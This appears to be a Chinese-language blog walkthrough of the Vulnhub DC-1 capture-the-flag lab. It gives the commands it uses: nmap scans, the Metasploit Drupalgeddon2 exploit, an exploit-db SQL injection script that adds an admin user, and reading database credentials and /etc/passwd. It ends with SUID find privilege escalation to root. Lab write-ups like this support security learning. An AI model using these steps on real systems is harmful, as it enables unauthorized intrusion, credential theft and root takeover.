一、环境搭建

攻击机:Kali-2021.3:192.168.8.105

靶机:Vulnhub-DC-1:192.168.8.230

靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip

二、信息收集

启动靶机,由于我们没法进去这个靶机,所以IP地址是未知的

ifconfig查看kali的IP地址

使用nmap对该网段下的主机进行主机探活

1
2
nmap -sP 192.168.8.0/24
/24的意思是告诉nmap扫描192.168.8.0这一个网段,相当于192.168.8.0-255

一共发现了4个主机存活,最后一个是本机IP,因此可以不用考虑

使用下面命令进行逐个扫描,根据它们所开放的端口等其他信息进行排查

nmap超详细使用教程

1
2
3
nmap -A 192.168.8.230

nmap -A -p- 192.168.8.230

可以看到开放了80端口,打开浏览器进行访问

观察这个页面可以发现是Drupal框架,那么就可能存在这个框架所对应的漏洞

如果看不出来的话,在kali上也可以利用whatweb来查看这个网站的各种信息

可以看到这是个Drupal 7.X的框架,浏览器查找可以看到有对应的漏洞

或者在msf里也可以找到可以利用的payload

msf全称Metasploit Framework,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode

使用msfconsole即可进入msf

检索这个框架的漏洞:

1
search drupal

三、实战

经过我的测试发现第二个EXP还可以使用,而且能达到我们的目的

1
2
3
4
use exploit/unix/webapp/drupal_drupalgeddon2 //使用该EXP模块
show options //查看需要设置的参数
set RHOSTS 192.168.8.230 //设置被攻击的IP
set LHOST 192.168.8.105 //设置监听IP,即本机IP

通过查看options确认配置好参数以后,使用run即可,攻击成功后msf会返回一个session

我们可以利用这个session来查看各种信息,比如:

1
2
getuid //查看当前用户
sysinfo //查看当前系统版本

flag1

通过刚刚的session,使用shell获得系统的一个非交互式shell

深入浅出理解交互式shell和非交互式shell、登录shell和非登录shell的区别

交互式shell就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。

非交互式shell,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。

因此为了方便我们之后的操作,我们需要利用python来把它转换成交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

然后就能很快发现第一个flag

flag2

flag1中的内容提示我们要找CMS(即Drupal)的配置文件,浏览器检索就能看到配置文件的位置

打开这个配置文件就可以发现第二个flag

同时也发现了数据库的相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

flag3

flag2中也有提示,提示我们不需要暴力破解,而是得到访问权限

由上面得到的数据库信息我们可以进入数据库中

1
mysql -u dbuser -p R0ck3t

对数据库进行常规操作

1
2
3
4
show databases;
use drupaldb;
show tables;
select * from users;

可以看到这里有管理员的账号和密码,但很明显,这里的密码经过了加密,无法直接使用,这里有两种方法可以得到管理员权限

方法1-重置管理员密码

网上也有相关的文章,因为我们已经登录了数据库,自然可以对数据库里的数据进行修改

如何重置Drupal 7的用户密码

在Drupal的安装目录中的scripts目录下,有一些Drupal开发者准备好的PHP脚本,其中里面有个password-hash.sh文件,该文件的功能就是接收一个密码(字符串),然后返回加密后的字符串

1
2
find / -name "password-hash.sh" //找到该文件的位置
php /var/www/scripts/password-hash.sh 123456 //传入的密码为123456

然后只需要把这个新密码更新到用户admin中就可以实现重置密码,在数据库中使用下面的命令

1
2
use drupaldb;
update users set pass='$S$DKalQTXxpfdOP0QHC.bi8HxVb.AKt/bwbr0KUMQx6hiLPgZE/aYl' where name='admin';

此时我们就可以登录后台了

在content里就能发现flag3

方法2-添加具有管理员权限的用户

首先我们得确定该Drupal的版本信息

1
cat /var/www/includes/bootstrap.inc | grep VERSION

然后利用kali自带的SearchSploit工具进行搜索

1
searchsploit drupal

发现有个SQL注入的漏洞,可以添加管理员用户

然后只需要使用python去执行这个py文件就可以实现添加管理员了

1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.8.230 -u aadmin -p 123456

出现下面的画面就代表我们已经添加成功了

查看一下数据库,发现成功在数据库中添加了管理员

之后再通过登录网站后台,就可以找到第三个flag了

flag4

flag3中有提示关键词permsfindpasswd-exec

因此查看passwd文件就可以找到flag4

1
cat /etc/passwd

这里还有一种方法,也就是使用find命令来查找

1
find / -name "flag*.txt"

这样也可以找到flag4

flag5

flag4中说最后一个flag在root里,但在访问root的时候发现权限不够

因此我们需要把权限提升至root,再根据flag3里的perms和-exec,猜测可能会用到SUID提权

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。

简单来说就是非root用户在调用一个设置有SUID权限的可执行文件时,该进程的权限将为root权限

那么如何知道什么可执行文件具有SUID权限呢,有以下几种

1
2
3
find / -perm -4000 //最简单的一种
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

简单解释一下一些参数的意思

1
2
3
4
5
-u=s 表示查找root用户拥有的文件
-type f 表示我们寻找的文件类型是常规文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
> 表示重定向
/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

find基础命令与提权教程

可以看到find命令有SUID权限,因此我们可以用find进行提权

常见的可以用来提权的程序有:nmap、vim、find、bash、more、less、nano、cp

find提权

1
find robots.txt -exec "/bin/sh" \;

中间的robots.txt是一个能够找到的文件或者目录,否则可能会出错,执行了这个命令之后就可以看到权限提升到了root

然后再进入root目录就能看到最后一个flag的位置了

参考文章

【Vulnhub-DC1】DC-1

dc-1 靶机渗透学习

find基础命令与提权教程

如何重置Drupal 7的用户密码

深入浅出理解交互式shell和非交互式shell、登录shell和非登录shell的区别

nmap超详细使用教程